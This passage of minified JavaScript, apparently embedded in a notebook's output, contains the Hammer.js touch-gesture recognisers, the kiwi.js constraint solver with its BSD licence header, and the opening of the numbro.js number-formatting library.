r&e.direction||(e.direction&Y?(r=0===o?L:o<0?V:G,i=o!=this.pX,n=Math.abs(t.deltaX)):(r=0===s?L:s<0?U:q,i=s!=this.pY,n=Math.abs(t.deltaY))),t.direction=r,i&&n>e.threshold&&r&e.direction},attrTest:function(t){return Nt.prototype.attrTest.call(this,t)&&(2&this.state||!(2&this.state)&&this.directionTest(t))},emit:function(t){this.pX=t.deltaX,this.pY=t.deltaY;var e=Pt(t.direction);e&&(t.additionalEvent=this.options.event+e),this._super.emit.call(this,t)}}),d(Dt,Nt,{defaults:{event:\\\"pinch\\\",threshold:0,pointers:2},getTouchAction:function(){return[St]},attrTest:function(t){return this._super.attrTest.call(this,t)&&(Math.abs(t.scale-1)>this.options.threshold||2&this.state)},emit:function(t){if(1!==t.scale){var e=t.scale<1?\\\"in\\\":\\\"out\\\";t.additionalEvent=this.options.event+e}this._super.emit.call(this,t)}}),d(It,Ot,{defaults:{event:\\\"press\\\",pointers:1,time:251,threshold:9},getTouchAction:function(){return[\\\"auto\\\"]},process:function(t){var e=this.options,i=t.pointers.length===e.pointers,n=t.distance<e.threshold,r=t.deltaTime>e.time;if(this._input=t,!n||!i||t.eventType&(R|B)&&!r)this.reset();else if(t.eventType&I)this.reset(),this._timer=u(function(){this.state=8,this.tryEmit()},e.time,this);else if(t.eventType&R)return 8;return 32},reset:function(){clearTimeout(this._timer)},emit:function(t){8===this.state&&(t&&t.eventType&R?this.manager.emit(this.options.event+\\\"up\\\",t):(this._input.timeStamp=k(),this.manager.emit(this.options.event,this._input)))}}),d(Rt,Nt,{defaults:{event:\\\"rotate\\\",threshold:0,pointers:2},getTouchAction:function(){return[St]},attrTest:function(t){return this._super.attrTest.call(this,t)&&(Math.abs(t.rotation)>this.options.threshold||2&this.state)}}),d(Bt,Nt,{defaults:{event:\\\"swipe\\\",threshold:10,velocity:.3,direction:Y|X,pointers:1},getTouchAction:function(){return Ft.prototype.getTouchAction.call(this)},attrTest:function(t){var e,i=this.options.direction;return i&(Y|X)?e=t.overallVelocity:i&Y?e=t.overallVelocityX:i&X&&(e=t.overallVelocityY),this._super.attrTest.call(this,t)&&i&t.offsetDirection&&t.distance>this.options.threshold&&t.maxPointers==this.options.pointers&&w(e)>this.options.velocity&&t.eventType&R},emit:function(t){var e=Pt(t.offsetDirection);e&&this.manager.emit(this.options.event+e,t),this.manager.emit(this.options.event,t)}}),d(Lt,Ot,{defaults:{event:\\\"tap\\\",pointers:1,taps:1,interval:300,time:250,threshold:9,posThreshold:10},getTouchAction:function(){return[kt]},process:function(t){var e=this.options,i=t.pointers.length===e.pointers,n=t.distance<e.threshold,r=t.deltaTime<e.time;if(this.reset(),t.eventType&I&&0===this.count)return this.failTimeout();if(n&&r&&i){if(t.eventType!=R)return this.failTimeout();var o=!this.pTime||t.timeStamp-this.pTime<e.interval,s=!this.pCenter||it(this.pCenter,t.center)<e.posThreshold;this.pTime=t.timeStamp,this.pCenter=t.center,s&&o?this.count+=1:this.count=1,this._input=t;var a=this.count%e.taps;if(0===a)return this.hasRequireFailures()?(this._timer=u(function(){this.state=8,this.tryEmit()},e.interval,this),2):8}return 32},failTimeout:function(){return this._timer=u(function(){this.state=32},this.options.interval,this),32},reset:function(){clearTimeout(this._timer)},emit:function(){8==this.state&&(this._input.tapCount=this.count,this.manager.emit(this.options.event,this._input))}}),Vt.VERSION=\\\"2.0.7\\\",Vt.defaults={domEvents:!1,touchAction:\\\"compute\\\",enable:!0,inputTarget:null,inputClass:null,preset:[[Rt,{enable:!1}],[Dt,{enable:!1},[\\\"rotate\\\"]],[Bt,{direction:Y}],[Ft,{direction:Y},[\\\"swipe\\\"]],[Lt],[Lt,{event:\\\"doubletap\\\",taps:2},[\\\"tap\\\"]],[It]],cssProps:{userSelect:\\\"none\\\",touchSelect:\\\"none\\\",touchCallout:\\\"none\\\",contentZooming:\\\"none\\\",userDrag:\\\"none\\\",tapHighlightColor:\\\"rgba(0,0,0,0)\\\"}},Gt.prototype={set:function(t){return s(this.options,t),t.touchAction&&this.touchAction.update(),t.inputTarget&&(this.input.destroy(),this.input.target=t.inputTarget,this.input.init()),this},stop:function(t){this.session.stopped=t?2:1},recognize:function(t){var e=this.session;if(!e.stopped){var i;this.touchAction.preventDefaults(t);var n=this.recognizers,r=e.curRecognizer;(!r||r&&8&r.state)&&(r=e.curRecognizer=null);for(var o=0;o<n.length;)i=n[o],2===e.stopped||r&&i!=r&&!i.canRecognizeWith(r)?i.reset():i.recognize(t),!r&&14&i.state&&(r=e.curRecognizer=i),o++}},get:function(t){if(t instanceof Ot)return t;for(var e=this.recognizers,i=0;i<e.length;i++)if(e[i].options.event==t)return e[i];return null},add:function(t){if(n(t,\\\"add\\\",this))return this;var e=this.get(t.options.event);return e&&this.remove(e),this.recognizers.push(t),(t.manager=this).touchAction.update(),t},remove:function(t){if(n(t,\\\"remove\\\",this))return this;if(t=this.get(t)){var e=this.recognizers,i=T(e,t);-1!==i&&(e.splice(i,1),this.touchAction.update())}return this},on:function(t,e){if(t!==x&&e!==x){var i=this.handlers;return c(C(t),function(t){i[t]=i[t]||[],i[t].push(e)}),this}},off:function(t,e){if(t!==x){var i=this.handlers;return c(C(t),function(t){e?i[t]&&i[t].splice(T(i[t],e),1):delete i[t]}),this}},emit:function(t,e){var i,n,r;this.options.domEvents&&(i=t,n=e,(r=a.createEvent(\\\"Event\\\")).initEvent(i,!0,!0),(r.gesture=n).target.dispatchEvent(r));var o=this.handlers[t]&&this.handlers[t].slice();if(o&&o.length){e.type=t,e.preventDefault=function(){e.srcEvent.preventDefault()};for(var s=0;s<o.length;)o[s](e),s++}},destroy:function(){this.element&&Ut(this,!1),this.handlers={},this.session={},this.input.destroy(),this.element=null}},s(Vt,{INPUT_START:I,INPUT_MOVE:2,INPUT_END:R,INPUT_CANCEL:B,STATE_POSSIBLE:Mt,STATE_BEGAN:2,STATE_CHANGED:4,STATE_ENDED:8,STATE_RECOGNIZED:8,STATE_CANCELLED:16,STATE_FAILED:32,DIRECTION_NONE:L,DIRECTION_LEFT:V,DIRECTION_RIGHT:G,DIRECTION_UP:U,DIRECTION_DOWN:q,DIRECTION_HORIZONTAL:Y,DIRECTION_VERTICAL:X,DIRECTION_ALL:H,Manager:Gt,Input:Q,TouchAction:Et,TouchInput:mt,MouseInput:at,PointerEventInput:_t,TouchMouseInput:yt,SingleTouchInput:dt,Recognizer:Ot,AttrRecognizer:Nt,Tap:Lt,Pan:Ft,Swipe:Bt,Pinch:Dt,Rotate:Rt,Press:It,on:g,off:y,each:c,merge:p,extend:_,assign:s,inherit:d,bindFn:f,prefixed:M});var qt=void 0!==o?o:\\\"undefined\\\"!=typeof self?self:{};qt.Hammer=Vt,void 0!==Yt&&Yt.exports?Yt.exports=Vt:o.Hammer=Vt}(window,document)},function(t,e,i){var n,r,o=t(353);(r=n=i.Operator||(i.Operator={}))[r.Le=0]=\\\"Le\\\",r[r.Ge=1]=\\\"Ge\\\",r[r.Eq=2]=\\\"Eq\\\";var s=function(){function t(t,e,i){void 0===i&&(i=o.Strength.required),this._id=a++,this._operator=e,this._expression=t,this._strength=o.Strength.clip(i)}return t.Compare=function(t,e){return t.id-e.id},t.prototype.toString=function(){var t=this;return this._expression+\\\" \\\"+function(){switch(t._operator){case n.Le:return\\\"<=\\\";case n.Ge:return\\\">=\\\";case n.Eq:return\\\"==\\\"}}()+\\\" 0\\\"},Object.defineProperty(t.prototype,\\\"id\\\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"expression\\\",{get:function(){return this._expression},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"op\\\",{get:function(){return this._operator},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"strength\\\",{get:function(){return this._strength},enumerable:!0,configurable:!0}),t}();i.Constraint=s;var a=0},function(t,e,i){var h=t(357),u=t(360),c=t(351),n=function(){function t(){var t=function(t){for(var e=0,i=function(){return 0},n=c.createMap(u.Variable.Compare),r=0,o=t.length;r<o;++r){var s=t[r];if(\\\"number\\\"==typeof s)e+=s;else if(s instanceof u.Variable)n.setDefault(s,i).second+=1;else{if(!(s instanceof Array))throw new Error(\\\"invalid Expression argument: \\\"+JSON.stringify(s));if(2!==s.length)throw new Error(\\\"array must have length 2\\\");var a=s[0],l=s[1];if(\\\"number\\\"!=typeof a)throw new Error(\\\"array item 0 must be a number\\\");if(!(l instanceof u.Variable))throw new Error(\\\"array item 1 must be a variable\\\");n.setDefault(l,i).second+=a}}return{terms:n,constant:e}}(arguments);this._terms=t.terms,this._constant=t.constant}return t.prototype.toString=function(){var e=[];h.forEach(this._terms,function(t){e.push([t.first,t.second])});for(var t=!0,i=\\\"\\\",n=0,r=e;n<r.length;n++){var o=r[n],s=o[0],a=o[1];t?(t=!1,i+=1==a?\\\"\\\"+s:-1==a?\\\"-\\\"+s:a+\\\"*\\\"+s):i+=1==a?\\\" + \\\"+s:-1==a?\\\" - \\\"+s:0<=a?\\\" + \\\"+a+s:\\\" - \\\"+-a+s}var l=this.constant;return l<0?i+=\\\" - \\\"+-l:0<l&&(i+=\\\" + \\\"+l),i},Object.defineProperty(t.prototype,\\\"terms\\\",{get:function(){return this._terms},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"constant\\\",{get:function(){return this._constant},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"value\\\",{get:function(){var e=this._constant;return h.forEach(this._terms,function(t){e+=t.first.value*t.second}),e},enumerable:!0,configurable:!0}),t}();i.Expression=n},function(t,e,i){\\n\",\n       \"      /*-----------------------------------------------------------------------------\\n\",\n       \"          | Copyright (c) 2014, Nucleic Development Team.\\n\",\n       \"          |\\n\",\n       \"          | Distributed under the terms of the Modified BSD License.\\n\",\n       \"          |\\n\",\n       \"          | The full license is in the file COPYING.txt, distributed with this software.\\n\",\n       \"          |----------------------------------------------------------------------------*/\\n\",\n       \"      function n(t){for(var e in t)i.hasOwnProperty(e)||(i[e]=t[e])}n(t(360)),n(t(349)),n(t(348)),n(t(353)),n(t(352))},function(t,e,i){var n=t(357);i.createMap=function(t){return new n.AssociativeArray(t)}},function(t,e,i){var g,n,r=t(360),a=t(349),y=t(348),b=t(353),o=t(351),s=t(357),l=function(){function t(){this._cnMap=o.createMap(y.Constraint.Compare),this._rowMap=o.createMap(h.Compare),this._varMap=o.createMap(r.Variable.Compare),this._editMap=o.createMap(r.Variable.Compare),this._infeasibleRows=[],this._objective=new k,this._artificial=null,this._idTick=0}return t.prototype.addConstraint=function(t){var e=this._cnMap.find(t);if(void 0!==e)throw new Error(\\\"duplicate constraint\\\");var i=this._createRow(t),n=i.row,r=i.tag,o=this._chooseSubject(n,r);if(o.type()===g.Invalid&&n.allDummies()){if(!x(n.constant())){for(var s=[],a=0,l=t.expression.terms._array;a<l.length;a++){var h=l[a];s.push(h.first.name)}var u=[\\\"LE\\\",\\\"GE\\\",\\\"EQ\\\"][t.op];throw new Error(\\\"unsatisfiable constraint [\\\"+s.join(\\\",\\\")+\\\"] operator: \\\"+u)}o=r.marker}if(o.type()===g.Invalid){if(!this._addWithArtificialVariable(n))throw new Error(\\\"unsatisfiable constraint\\\")}else n.solveFor(o),this._substitute(o,n),this._rowMap.insert(o,n);this._cnMap.insert(t,r),this._optimize(this._objective)},t.prototype.removeConstraint=function(t,e){void 0===e&&(e=!1);var i=this._cnMap.erase(t);if(void 0===i){if(e)return;throw new Error(\\\"unknown constraint\\\")}this._removeConstraintEffects(t,i.second);var n=i.second.marker,r=this._rowMap.erase(n);if(void 0===r){var o=this._getMarkerLeavingSymbol(n);if(o.type()===g.Invalid)throw new Error(\\\"failed to find leaving row\\\");(r=this._rowMap.erase(o)).second.solveForEx(o,n),this._substitute(n,r.second)}this._optimize(this._objective)},t.prototype.hasConstraint=function(t){return this._cnMap.contains(t)},t.prototype.addEditVariable=function(t,e){var i=this._editMap.find(t);if(void 0!==i)throw new Error(\\\"duplicate edit variable: \\\"+t.name);if((e=b.Strength.clip(e))===b.Strength.required)throw new Error(\\\"bad required strength\\\");var n=new a.Expression(t),r=new y.Constraint(n,y.Operator.Eq,e);this.addConstraint(r);var o=this._cnMap.find(r).second,s={tag:o,constraint:r,constant:0};this._editMap.insert(t,s)},t.prototype.removeEditVariable=function(t,e){void 0===e&&(e=!1);var i=this._editMap.erase(t);if(void 0===i){if(e)return;throw new Error(\\\"unknown edit variable: \\\"+t.name)}this.removeConstraint(i.second.constraint,e)},t.prototype.hasEditVariable=function(t){return this._editMap.contains(t)},t.prototype.suggestValue=function(t,e){var i=this._editMap.find(t);if(void 0===i)throw new Error(\\\"unknown edit variable: \\\"+t.name);var n=this._rowMap,r=i.second,o=e-r.constant;r.constant=e;var s=r.tag.marker,a=n.find(s);if(void 0!==a)return a.second.add(-o)<0&&this._infeasibleRows.push(s),void this._dualOptimize();var l=r.tag.other;if(void 0!==(a=n.find(l)))return a.second.add(o)<0&&this._infeasibleRows.push(l),void this._dualOptimize();for(var h=0,u=n.size();h<u;++h){var c=n.itemAt(h),_=c.second,p=_.coefficientFor(s);0!==p&&_.add(o*p)<0&&c.first.type()!==g.External&&this._infeasibleRows.push(c.first)}this._dualOptimize()},t.prototype.updateVariables=function(){for(var t=this._varMap,e=this._rowMap,i=0,n=t.size();i<n;++i){var r=t.itemAt(i),o=e.find(r.second),s=0;void 0!==o&&-0===(s=o.second.constant())&&(s=0),r.first.setValue(s)}},t.prototype.getConstraints=function(){var e=[];return s.forEach(this._cnMap,function(t){e.push(t.first)}),e},Object.defineProperty(t.prototype,\\\"numConstraints\\\",{get:function(){return this._cnMap.size()},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"numEditVariables\\\",{get:function(){return this._editMap.size()},enumerable:!0,configurable:!0}),t.prototype._getVarSymbol=function(t){var e=this;return this._varMap.setDefault(t,function(){return e._makeSymbol(g.External)}).second},t.prototype._createRow=function(t){for(var e=t.expression,i=new k(e.constant),n=e.terms,r=0,o=n.size();r<o;++r){var s=n.itemAt(r);if(!x(s.second)){var a=this._getVarSymbol(s.first),l=this._rowMap.find(a);void 0!==l?i.insertRow(l.second,s.second):i.insertSymbol(a,s.second)}}var h=this._objective,u=t.strength,c={marker:w,other:w};switch(t.op){case y.Operator.Le:case y.Operator.Ge:var _=t.op===y.Operator.Le?1:-1,p=this._makeSymbol(g.Slack);if(c.marker=p,i.insertSymbol(p,_),u<b.Strength.required){var d=this._makeSymbol(g.Error);c.other=d,i.insertSymbol(d,-_),h.insertSymbol(d,u)}break;case y.Operator.Eq:if(u<b.Strength.required){var f=this._makeSymbol(g.Error),v=this._makeSymbol(g.Error);c.marker=f,c.other=v,i.insertSymbol(f,-1),i.insertSymbol(v,1),h.insertSymbol(f,u),h.insertSymbol(v,u)}else{var m=this._makeSymbol(g.Dummy);c.marker=m,i.insertSymbol(m)}}return i.constant()<0&&i.reverseSign(),{row:i,tag:c}},t.prototype._chooseSubject=function(t,e){for(var i=t.cells(),n=0,r=i.size();n<r;++n){var o=i.itemAt(n);if(o.first.type()===g.External)return o.first}var s=e.marker.type();return(s===g.Slack||s===g.Error)&&t.coefficientFor(e.marker)<0?e.marker:((s=e.other.type())===g.Slack||s===g.Error)&&t.coefficientFor(e.other)<0?e.other:w},t.prototype._addWithArtificialVariable=function(t){var e=this._makeSymbol(g.Slack);this._rowMap.insert(e,t.copy()),this._artificial=t.copy(),this._optimize(this._artificial);var i=x(this._artificial.constant());this._artificial=null;var n=this._rowMap.erase(e);if(void 0!==n){var r=n.second;if(r.isConstant())return i;var o=this._anyPivotableSymbol(r);if(o.type()===g.Invalid)return!1;r.solveForEx(e,o),this._substitute(o,r),this._rowMap.insert(o,r)}for(var s=this._rowMap,a=0,l=s.size();a<l;++a)s.itemAt(a).second.removeSymbol(e);return this._objective.removeSymbol(e),i},t.prototype._substitute=function(t,e){for(var i=this._rowMap,n=0,r=i.size();n<r;++n){var o=i.itemAt(n);o.second.substitute(t,e),o.second.constant()<0&&o.first.type()!==g.External&&this._infeasibleRows.push(o.first)}this._objective.substitute(t,e),this._artificial&&this._artificial.substitute(t,e)},t.prototype._optimize=function(t){for(;;){var e=this._getEnteringSymbol(t);if(e.type()===g.Invalid)return;var i=this._getLeavingSymbol(e);if(i.type()===g.Invalid)throw new Error(\\\"the objective is unbounded\\\");var n=this._rowMap.erase(i).second;n.solveForEx(i,e),this._substitute(e,n),this._rowMap.insert(e,n)}},t.prototype._dualOptimize=function(){for(var t=this._rowMap,e=this._infeasibleRows;0!==e.length;){var i=e.pop(),n=t.find(i);if(void 0!==n&&n.second.constant()<0){var r=this._getDualEnteringSymbol(n.second);if(r.type()===g.Invalid)throw new Error(\\\"dual optimize failed\\\");var o=n.second;t.erase(i),o.solveForEx(i,r),this._substitute(r,o),t.insert(r,o)}}},t.prototype._getEnteringSymbol=function(t){for(var e=t.cells(),i=0,n=e.size();i<n;++i){var r=e.itemAt(i),o=r.first;if(r.second<0&&o.type()!==g.Dummy)return o}return w},t.prototype._getDualEnteringSymbol=function(t){for(var e=Number.MAX_VALUE,i=w,n=t.cells(),r=0,o=n.size();r<o;++r){var s=n.itemAt(r),a=s.first,l=s.second;if(0<l&&a.type()!==g.Dummy){var h=this._objective.coefficientFor(a),u=h/l;u<e&&(e=u,i=a)}}return i},t.prototype._getLeavingSymbol=function(t){for(var e=Number.MAX_VALUE,i=w,n=this._rowMap,r=0,o=n.size();r<o;++r){var s=n.itemAt(r),a=s.first;if(a.type()!==g.External){var l=s.second,h=l.coefficientFor(t);if(h<0){var u=-l.constant()/h;u<e&&(e=u,i=a)}}}return i},t.prototype._getMarkerLeavingSymbol=function(t){for(var e=Number.MAX_VALUE,i=e,n=e,r=w,o=r,s=r,a=r,l=this._rowMap,h=0,u=l.size();h<u;++h){var c=l.itemAt(h),_=c.second,p=_.coefficientFor(t);if(0!==p){var d=c.first;if(d.type()===g.External)a=d;else if(p<0){var f=-_.constant()/p;f<i&&(i=f,o=d)}else{var f=_.constant()/p;f<n&&(n=f,s=d)}}}return o!==r?o:s!==r?s:a},t.prototype._removeConstraintEffects=function(t,e){e.marker.type()===g.Error&&this._removeMarkerEffects(e.marker,t.strength),e.other.type()===g.Error&&this._removeMarkerEffects(e.other,t.strength)},t.prototype._removeMarkerEffects=function(t,e){var i=this._rowMap.find(t);void 0!==i?this._objective.insertRow(i.second,-e):this._objective.insertSymbol(t,-e)},t.prototype._anyPivotableSymbol=function(t){for(var e=t.cells(),i=0,n=e.size();i<n;++i){var r=e.itemAt(i),o=r.first.type();if(o===g.Slack||o===g.Error)return r.first}return w},t.prototype._makeSymbol=function(t){return new h(t,this._idTick++)},t}();function x(t){return t<0?-t<1e-8:t<1e-8}i.Solver=l,(n=g||(g={}))[n.Invalid=0]=\\\"Invalid\\\",n[n.External=1]=\\\"External\\\",n[n.Slack=2]=\\\"Slack\\\",n[n.Error=3]=\\\"Error\\\",n[n.Dummy=4]=\\\"Dummy\\\";var h=function(){function t(t,e){this._id=e,this._type=t}return t.Compare=function(t,e){return t.id()-e.id()},t.prototype.id=function(){return this._id},t.prototype.type=function(){return this._type},t}(),w=new h(g.Invalid,-1),k=function(){function e(t){void 0===t&&(t=0),this._cellMap=o.createMap(h.Compare),this._constant=t}return e.prototype.cells=function(){return this._cellMap},e.prototype.constant=function(){return this._constant},e.prototype.isConstant=function(){return this._cellMap.empty()},e.prototype.allDummies=function(){for(var t=this._cellMap,e=0,i=t.size();e<i;++e){var n=t.itemAt(e);if(n.first.type()!==g.Dummy)return!1}return!0},e.prototype.copy=function(){var t=new e(this._constant);return t._cellMap=this._cellMap.copy(),t},e.prototype.add=function(t){return this._constant+=t},e.prototype.insertSymbol=function(t,e){void 0===e&&(e=1);var i=this._cellMap.setDefault(t,function(){return 0});x(i.second+=e)&&this._cellMap.erase(t)},e.prototype.insertRow=function(t,e){void 0===e&&(e=1),this._constant+=t._constant*e;for(var i=t._cellMap,n=0,r=i.size();n<r;++n){var o=i.itemAt(n);this.insertSymbol(o.first,o.second*e)}},e.prototype.removeSymbol=function(t){this._cellMap.erase(t)},e.prototype.reverseSign=function(){this._constant=-this._constant;for(var t=this._cellMap,e=0,i=t.size();e<i;++e){var n=t.itemAt(e);n.second=-n.second}},e.prototype.solveFor=function(t){var e=this._cellMap,i=e.erase(t),n=-1/i.second;this._constant*=n;for(var r=0,o=e.size();r<o;++r)e.itemAt(r).second*=n},e.prototype.solveForEx=function(t,e){this.insertSymbol(t,-1),this.solveFor(e)},e.prototype.coefficientFor=function(t){var e=this._cellMap.find(t);return void 0!==e?e.second:0},e.prototype.substitute=function(t,e){var i=this._cellMap.erase(t);void 0!==i&&this.insertRow(e,i.second)},e}()},function(t,e,i){!function(e){function t(t,e,i,n){void 0===n&&(n=1);var r=0;return r+=1e6*Math.max(0,Math.min(1e3,t*n)),r+=1e3*Math.max(0,Math.min(1e3,e*n)),r+=Math.max(0,Math.min(1e3,i*n))}e.create=t,e.required=t(1e3,1e3,1e3),e.strong=t(1,0,0),e.medium=t(0,1,0),e.weak=t(0,0,1),e.clip=function(t){return Math.max(0,Math.min(e.required,t))}}(i.Strength||(i.Strength={}))},function(t,e,i){var l=t(358);function o(t,e,i){for(var n,r,o=0,s=t.length;0<s;)i(t[r=o+(n=s>>1)],e)<0?(o=r+1,s-=n+1):s=n;return o}i.lowerBound=o,i.binarySearch=function(t,e,i){var n=o(t,e,i);if(n===t.length)return-1;var r=t[n];return 0!==i(r,e)?-1:n},i.binaryFind=function(t,e,i){var n=o(t,e,i);if(n!==t.length){var r=t[n];if(0===i(r,e))return r}},i.asSet=function(t,e){var i=l.asArray(t),n=i.length;if(n<=1)return i;i.sort(e);for(var r=[i[0]],o=1,s=0;o<n;++o){var a=i[o];0!==e(r[s],a)&&(r.push(a),++s)}return r},i.setIsDisjoint=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length;n<o&&r<s;){var a=i(t[n],e[r]);if(a<0)++n;else{if(!(0<a))return!1;++r}}return!0},i.setIsSubset=function(t,e,i){var n=t.length,r=e.length;if(r<n)return!1;for(var o=0,s=0;o<n&&s<r;){var a=i(t[o],e[s]);if(a<0)return!1;0<a||++o,++s}return!(o<n)},i.setUnion=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u?a.push(h):(a.push(l),++n),++r)}for(;n<o;)a.push(t[n]),++n;for(;r<s;)a.push(e[r]),++r;return a},i.setIntersection=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?++n:(0<u||(a.push(l),++n),++r)}return a},i.setDifference=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u||++n,++r)}for(;n<o;)a.push(t[n]),++n;return a},i.setSymmetricDifference=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u?a.push(h):++n,++r)}for(;n<o;)a.push(t[n]),++n;for(;r<s;)a.push(e[r]),++r;return a}},function(t,e,i){var n=t(358),r=function(){function t(){this._array=[]}return t.prototype.size=function(){return this._array.length},t.prototype.empty=function(){return 0===this._array.length},t.prototype.itemAt=function(t){return this._array[t]},t.prototype.takeAt=function(t){return this._array.splice(t,1)[0]},t.prototype.clear=function(){this._array=[]},t.prototype.swap=function(t){var e=this._array;this._array=t._array,t._array=e},t.prototype.__iter__=function(){return n.iter(this._array)},t.prototype.__reversed__=function(){return n.reversed(this._array)},t}();i.ArrayBase=r},function(t,e,i){\\n\",\n       \"      /*-----------------------------------------------------------------------------\\n\",\n       \"          | Copyright (c) 2014, Nucleic Development Team.\\n\",\n       \"          |\\n\",\n       \"          | Distributed under the terms of the Modified BSD License.\\n\",\n       \"          |\\n\",\n       \"          | The full license is in the file COPYING.txt, distributed with this software.\\n\",\n       \"          |----------------------------------------------------------------------------*/\\n\",\n       \"      var n,r=this&&this.__extends||(n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i])},function(t,e){function i(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(i.prototype=e.prototype,new i)}),s=t(359),o=t(355),a=t(354),l=t(358),h=function(n){function o(t){var i,e=n.call(this)||this;return e._compare=t,e._wrapped=(i=t,function(t,e){return i(t.first,e)}),e}return r(o,n),o.prototype.comparitor=function(){return this._compare},o.prototype.indexOf=function(t){return a.binarySearch(this._array,t,this._wrapped)},o.prototype.contains=function(t){return 0<=a.binarySearch(this._array,t,this._wrapped)},o.prototype.find=function(t){return a.binaryFind(this._array,t,this._wrapped)},o.prototype.setDefault=function(t,e){var i=this._array,n=a.lowerBound(i,t,this._wrapped);if(n===i.length){var r=new s.Pair(t,e());return i.push(r),r}var o=i[n];if(0!==this._compare(o.first,t)){var r=new s.Pair(t,e());return i.splice(n,0,r),r}return o},o.prototype.insert=function(t,e){var i=this._array,n=a.lowerBound(i,t,this._wrapped);if(n===i.length){var r=new s.Pair(t,e);return i.push(r),r}var o=i[n];if(0!==this._compare(o.first,t)){var r=new s.Pair(t,e);return i.splice(n,0,r),r}return o.second=e,o},o.prototype.update=function(t){var e=this;t instanceof o?this._array=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l.first,h.first);u<0?(a.push(l.copy()),++n):(0<u?a.push(h.copy()):(a.push(h.copy()),++n),++r)}for(;n<o;)a.push(t[n].copy()),++n;for(;r<s;)a.push(e[r].copy()),++r;return a}(this._array,t._array,this._compare):l.forEach(t,function(t){e.insert(t.first,t.second)})},o.prototype.erase=function(t){var e=this._array,i=a.binarySearch(e,t,this._wrapped);if(!(i<0))return e.splice(i,1)[0]},o.prototype.copy=function(){for(var t=new o(this._compare),e=t._array,i=this._array,n=0,r=i.length;n<r;++n)e.push(i[n].copy());return t},o}(o.ArrayBase);i.AssociativeArray=h},function(t,e,i){function n(t){for(var e in t)i.hasOwnProperty(e)||(i[e]=t[e])}n(t(354)),n(t(355)),n(t(356)),n(t(358)),n(t(359))},function(t,e,i){var n=function(){function t(t,e){void 0===e&&(e=0),this._array=t,this._index=Math.max(0,Math.min(e,t.length))}return t.prototype.__next__=function(){return this._array[this._index++]},t.prototype.__iter__=function(){return this},t}();i.ArrayIterator=n;var r=function(){function t(t,e){void 0===e&&(e=t.length),this._array=t,this._index=Math.max(0,Math.min(e,t.length))}return t.prototype.__next__=function(){return this._array[--this._index]},t.prototype.__iter__=function(){return this},t}();i.ReverseArrayIterator=r,i.iter=function(t){return t instanceof Array?new n(t):t.__iter__()},i.reversed=function(t){return t instanceof Array?new r(t):t.__reversed__()},i.next=function(t){return t.__next__()},i.asArray=function(t){if(t instanceof Array)return t.slice();for(var e,i=[],n=t.__iter__();void 0!==(e=n.__next__());)i.push(e);return i},i.forEach=function(t,e){if(t instanceof Array){for(var i=0,n=t.length;i<n;++i)if(!1===e(t[i]))return}else for(var r,o=t.__iter__();void 0!==(r=o.__next__());)if(!1===e(r))return},i.map=function(t,e){var i=[];if(t instanceof Array)for(var n=0,r=t.length;n<r;++n)i.push(e(t[n]));else for(var o,s=t.__iter__();void 0!==(o=s.__next__());)i.push(e(o));return i},i.filter=function(t,e){var i,n=[];if(t instanceof Array)for(var r=0,o=t.length;r<o;++r)i=t[r],e(i)&&n.push(i);else for(var s=t.__iter__();void 0!==(i=s.__next__());)e(i)&&n.push(i);return n}},function(t,e,i){var n=function(){function t(t,e){this.first=t,this.second=e}return t.prototype.copy=function(){return new t(this.first,this.second)},t}();i.Pair=n},function(t,e,i){var n=function(){function t(t){void 0===t&&(t=\\\"\\\"),this._value=0,this._context=null,this._id=r++,this._name=t}return t.Compare=function(t,e){return t.id-e.id},t.prototype.toString=function(){return this._name},Object.defineProperty(t.prototype,\\\"id\\\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"name\\\",{get:function(){return this._name},enumerable:!0,configurable:!0}),t.prototype.setName=function(t){this._name=t},Object.defineProperty(t.prototype,\\\"context\\\",{get:function(){return this._context},enumerable:!0,configurable:!0}),t.prototype.setContext=function(t){this._context=t},Object.defineProperty(t.prototype,\\\"value\\\",{get:function(){return this._value},enumerable:!0,configurable:!0}),t.prototype.setValue=function(t){this._value=t},t}();i.Variable=n;var r=0},function(t,e,i){\\n\",\n       \"      /*!\\n\",\n       \"           * numbro.js\\n\",\n       \"           * version : 1.6.2\\n\",\n       \"           * author : FÃ¶retagsplatsen AB\\n\",\n       \"           * license : MIT\\n\",\n       \"           * http://www.foretagsplatsen.se\\n\",\n       \"           */\\n\",\n       \"      var u,U={},o=U,q=\\\"en-US\\\",Y=null,r=\\\"0,0\\\";function n(t){this._value=t}function p(t){var e,i=\\\"\\\";for(e=0;e<t;e++)i+=\\\"0\\\";return i}function X(t,e,i,n){var r,o,s,a,l,h,u,c,_=Math.pow(10,e);return o=-1<t.toFixed(0).search(\\\"e\\\")?(s=e,c=t.toString(),a=c.split(\\\"e\\\")[0],u=c.split(\\\"e\\\")[1],l=a.split(\\\".\\\")[0],h=a.split(\\\".\\\")[1]||\\\"\\\",c=l+h+p(u-h.length),0<s&&(c+=\\\".\\\"+p(s)),c):(i(t*_)/_).toFixed(e),n&&(r=new RegExp(\\\"0{1,\\\"+n+\\\"}$\\\"),o=o.replace(r,\\\"\\\")),o}function s(t,e,i){var 